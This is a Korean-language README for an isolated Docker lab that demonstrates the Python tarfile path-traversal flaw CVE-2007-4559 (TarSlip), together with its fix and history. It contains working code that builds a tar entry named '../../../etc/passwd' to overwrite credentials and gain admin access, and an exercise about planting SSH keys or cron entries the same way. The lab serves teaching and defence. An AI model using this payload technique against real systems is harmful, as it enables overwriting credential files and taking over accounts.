
교육용으로만 사용하십시오. 이 랩은 격리된 Docker 컨테이너 내부의 파일 시스템 취약점을 의도적으로 악용합니다. 민감한 데이터가 있는 시스템이나 프로덕션 환경에서 실행하지 마십시오.
Python의 tarfile 모듈에 존재하는 악명 높은 "TarSlip" 취약점인 CVE-2007-4559를 구체적이고 종단 간(end-to-end) 공격 체인을 통해 시연하는 자체 포함형(self-contained) Docker 랩입니다:
extractall()은 ../../../etc/passwd라는 이름의 tar 항목을 추출 디렉토리 밖으로 무비판적으로 작성하여 실제 시스템 파일을 덮어씁니다./admin 엔드포인트에 접근할 수 있습니다.Python의 tarfile.extractall()은 이름에 ../ 경로 트래버설 시퀀스가 포함된 항목을 포함하여 tar 아카이브의 모든 항목을 그대로 재현합니다. 이 함수는 보안 경계로 설계된 적이 없습니다.
tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/
resolved path : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← system file overwritten
데모는 세 개의 비트(beat)로 구성되며, 각 단계는 키 입력을 해야 진행됩니다.
GET /admin → 401. 관리자 엔드포인트는 존재하며 보호되어 있습니다. 공격자는 비밀번호를 모릅니다.innocent.tar.gz 업로드 → 파일이 샌드박스 디렉토리 안에 저장됩니다. 모든 것이 정상적으로 보입니다.Attacker crafts tarslip_passwd.tar.gz
└─ entry: "../../../etc/passwd"
content: admin:hacked:1001:... ← planted password
│
▼
POST /upload (multipart file upload)
│
▼
extractall("/shared/uploads/{uuid}/")
resolves "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
단 한 번의 HTTP POST. 셸 없음. RCE 페이로드 없음. 오직 tar 파일 하나뿐입니다.
동일한 tarball이 수정된 API에 업로드되며, 이 API는 extractall()에 filter='data'를 전달합니다. Python은 tarfile.OutsideDestinationError를 발생시킵니다 — 트래버설이 차단되고 /etc/passwd는 그대로 유지되며 /admin은 잠긴 상태로 남습니다.
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)
# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
인자 하나. 출시되기까지 15년.
격리된 Docker 브리지 네트워크(tarslip-net) 위의 4개 서비스. 그 어떤 것도 인터넷에 닿지 않습니다.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ port 8000 │ │ port 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serves /shared over │ │
│ │ GET /admin │ │ HTTP — browse extracts │ │
│ │ GET /health │ │ visually │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ shared-storage volume │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (no host port — internal only) │
│ │ │ │
│ │ craft_malicious.py — generates tarballs │
│ │ demo.py — drives the demo │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
취약한 API와 수정된 API는 동일한 소스 코드를 사용합니다. 유일한 차이점은 수정된 컨테이너의 USE_SAFE_EXTRACTION=true 환경 변수이며, 이 변수가 filter='data'라는 단일 인자를 켭니다.
CVE-2007-4559-lab/
├── run_demo.sh ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # generates innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # four-mode CLI driver (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bash를 사용합니다git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
이 스크립트는 완전한 대화형입니다. 각 단계 전에 설명을 출력하고 Enter 키를 기다렸다가 진행합니다. 따라 하기 위해 사전 Docker 지식이 필요하지 않습니다.
수동으로 단계별 진행하려면:
# Vulnerable stack
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Fixed stack
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Teardown
docker compose -f docker-compose.fixed.yml down
취약한 스택이 실행되는 동안 http://localhost:8080/uploads/를 열어 브라우저에서 추출된 세션 디렉토리를 탐색할 수 있습니다.
/admin 엔드포인트의 동작 방식API는 이미지 빌드 시점에 비밀 관리자 비밀번호를 /etc/passwd에 시드합니다:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin은 이 파일을 읽고 두 번째 필드(비밀번호)를 HTTP Basic Auth 자격 증명과 대조합니다. 공격자는 s3cr3t_Adm1nPass를 모릅니다 — 그러나 TarSlip이 파일을 admin:hacked가 포함된 자신의 버전으로 덮어쓴 후에는 알게 됩니다.
이는 실제 공격 대상에 대한 단순화된 모델입니다: SSH authorized_keys, 애플리케이션 구성 파일, cron 작업, 그리고 웹 프로세스가 쓸 수 있는 모든 자격 증명 파일입니다.
craft_malicious.py는 버그가 있는 바로 그 모듈인 Python의 tarfile 모듈을 사용합니다:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name is the traversal path
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Entry name resolves to /etc/passwd when extracted into /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
특별한 도구 없음. 바이너리 익스플로잇 없음. 표준 라이브러리는 무기이자 희생자입니다.
Python 3.12는 PEP 706에서 filter=를 도입했습니다. 'data' 필터는:
tarfile.OutsideDestinationError를 발생시킵니다# Before (vulnerable — still the default until Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# After (safe)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Python 3.11 및 이전 버전의 경우 수동으로 검증하십시오:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Unsafe path: {member.name}")
tar.extractall(dest)
정적 분석: bandit 규칙 B202가 CI에서 안전하지 않은 extractall() 호출에 플래그를 지정합니다.
TarSlip은 아카이브 추출 API를 가진 모든 언어에 존재하는 취약점 클래스에 대해 Python에서 붙인 이름입니다:
모든 곳에서 동일한 근본 원인: 신뢰할 수 없는 아카이브의 경로를 신뢰하는 것. 모든 곳에서 동일한 해결책: 쓰기 전에 정규화하고 검증할 것.
수정 전/후 코드 diff와 bandit B202 규칙에 초점을 맞추십시오. 목표는 "우리 코드베이스에서 이를 어떻게 예방할 수 있을까?"입니다 — PEP 706 마이그레이션 가이드와 CI에 검사를 추가하는 방법을 보여주십시오.
Trellix 공개 방법론에 초점을 맞추십시오 — 대규모로 GitHub를 검색한 방법, 350,000개 저장소에 걸친 영향 평가, 그리고 이처럼 광범위한 취약점에 대해 책임 있는 공개를 진행한 방법.
craft_malicious.py를 확장하여 /etc/passwd 대신 SSH authorized_keys 파일이나 악성 cron 항목을 심으십시오. 동일한 기술, 다른 대상 — 쓰기 가능한 모든 경로가 공격 표면임을 보여줍니다.
MIT — 교육, 보안 연구, 컨퍼런스 데모를 위해 자유롭게 사용하십시오. 소유하지 않은 시스템에 페이로드 생성 기술을 사용하지 마십시오.
| 타임라인 |
|---|
| 2007 | 버그가 Python 보안 팀에 보고됨 |
| 2007 – 2022 | "보안 문제 아님"으로 분류됨 — tarfile은 "의도된 대로 동작" |
| 2022 | Trellix 연구원들이 GitHub를 스캔하여 신뢰할 수 없는 입력에 extractall()을 호출하는 350,000개 이상의 저장소를 발견 |
| 2022 | 공식 공개. CVE-2007-4559가 다시 수면 위로 부상. 업계 전반의 혼란. |
| 2023 | PEP 706이 Python 3.12에서 filter='data'를 제공 — 수정은 단일 인자 하나 |
| 서비스 | 이미지 | 역할 | 호스트 포트 |
|---|
vulnerable-api | python:3.11.3-slim | Flask 업로드 API + /etc/passwd 인증으로 보호되는 /admin | 8000 |
fixed-api | python:3.12-slim | 동일한 코드 + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | 추출된 파일의 디렉토리 목록 | 8080 |
attacker | python:3.12-slim | 페이로드 생성기 + 데모 드라이버 | — |
| 일시 중지 | 표시되는 내용 | Enter 시 동작 |
|---|
| 1 | CVE 타임라인, 세 개의 비트가 무엇인지 | 취약한 스택 빌드 |
| 2 | 컨테이너 역할, 시드된 관리자 비밀번호 | 페이로드 생성 |
| 3 | 각 tarball 안에 무엇이 있는지 | Beat 1 — 기준 |
| 4 | /admin이 401을 반환하는 이유, 정상적인 추출의 모습 | Beat 2 — 익스플로잇 |
| 5 | 정확한 트래버설 계산, 무엇이 덮어써지는지 | 수정된 스택으로 전환 |
| 6 | filter='data'가 수행하는 작업과 작동 이유 | Beat 3 — 검증 |
| 7 | 핵심 시사점 + 더 넓은 ZipSlip 패턴 | 정리 |
| 언어 | 취약한 API | CVE / 권고 |
|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, 기타 | ZipSlip (2018) |